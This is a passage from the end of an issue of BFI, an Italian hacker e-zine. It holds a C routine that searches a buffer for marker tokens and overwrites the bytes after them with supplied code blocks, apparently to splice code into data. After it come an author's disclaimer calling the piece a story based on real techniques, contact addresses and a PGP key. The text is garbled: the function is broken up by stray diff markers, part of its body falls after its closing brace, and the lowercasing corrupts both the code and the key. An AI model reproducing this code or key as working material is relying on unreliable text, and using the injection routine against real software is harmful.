-/******************************************************************************/ +unsigned char *replace(unsigned char *buf, int len) +{ + int i; + char status = 0; + + if(len < strlen(tok1) + len1 + strlen(tok2) + len2 + strlen(tok3) + strlen(tok4) + len4) { + return(null); + } + + for(i = 0; i <= len - strlen(tok1) + len1 + strlen(tok2) + len2 + strlen(tok3) + strlen(tok4) + len4; i++) { + if(memcmp(buf + i, tok1, strlen(tok1))) { + continue; + } + if(memcmp(buf + i + strlen(tok1) + len1, tok2, strlen(tok2))) { + continue; + } + if(memcmp(buf + i + strlen(tok1) + len1 + strlen(tok2) + len2, tok3, strlen(tok3))) { + continue; + } + + memcpy(buf + i + strlen(tok1), code1, len1); + memcpy(buf + i + strlen(tok1) + len1 + strlen(tok2), code2, len2);
+ + + + + + + + + + + + +} <-x->
status = 1; i += strlen(tok1) + len1 + strlen(tok2) + len2 + strlen(tok3); while(memcmp(buf + i++, tok4, strlen(tok4))) { if(i > len - len4) { return(null); } } memcpy(buf + i + strlen(tok4) - 1, code4, len4); } return(status ? buf : null);
(questo racconto si ispira a fatti realmente accaduti. le tecniche descritte in quello che avete appena letto corrispondono a realta`. ogni nome e luogo citato e` invece stato inventato e frutto della fantasia dell'autore, ogni riferimento a fatti, cose, citta`, piccole isole o villaggi segue puramente la grammatica latina.) e ancora non e` finita. -t.r.
-[ web ]---------------------------------------------------------------------http://www.bfi.cx http://www.s0ftpj.org/bfi/ http://bfi.itapac.net -[ e-mail ]------------------------------------------------------------------bfi@s0ftpj.org -[ pgp ]--------------------------------------------------------------------------begin pgp public key block----version: 2.6.3i mqenazzssu8aaaeiam5fractpz32w1abxj/ldg7bb371rhb1ag7/azdekxh67nni drmryp+0u4tctgizogof0s/ydm2hh4jh+ago9djjbzieu8p1dvy677uw6ovcm374 nkjbydjvbeujvooko+j6ygzuuq7jvgbksr0uklfe5/0tuxsvva9b1pbfxqynk5oo lqgjuq7g79jtstqsa0mbffxalfq5gzml+fnzdjwgi0c2pzrz+tdj2+ic3dl9dwax iuy9bp4bq+h0mpcmnvwtmvds2c+99s9unfnbzgvo6kqiwzziwu9pqek+v7w6vpa3 tbghwwh4iaawqh0mm7v+kdpmzqupucgvfugfx+kabro0fujmstk4idxizmk5oeb1 c2eubmv0pokbfqmfedzssu+5yc9+6b/h6qebb6eiamrp40t7m4y1arnkj5enwc/b a6m4oog42xr9uhod8x2cobbnb8qte+dhbihpx0fdjnncr0wueq+eiw0yhjkyk5ql gb/ukrh/hr4ipa0aluujeyjtql5hzmw9phma9xitaqonhmxaih7mvaymcxhxwooo wyoayoklxxa5qzxowixrxlman48sksquprsrhwtdkxd+qb7qdu83h8nq7db4mase gdvmudspekxax8xbikxlvvut0ai4xd8o8owwnr5fqasnkbrdjouwros0dbfx2k9j l3xqekl3xeglvvg8jyhlokl65h9ruyw6ek5hvb5rouys/laggwvxv2yjrn8ablo= =o7cg
-----end pgp public key block----============================================================================== -----------------------------------[ eof ]-----------------------------------==============================================================================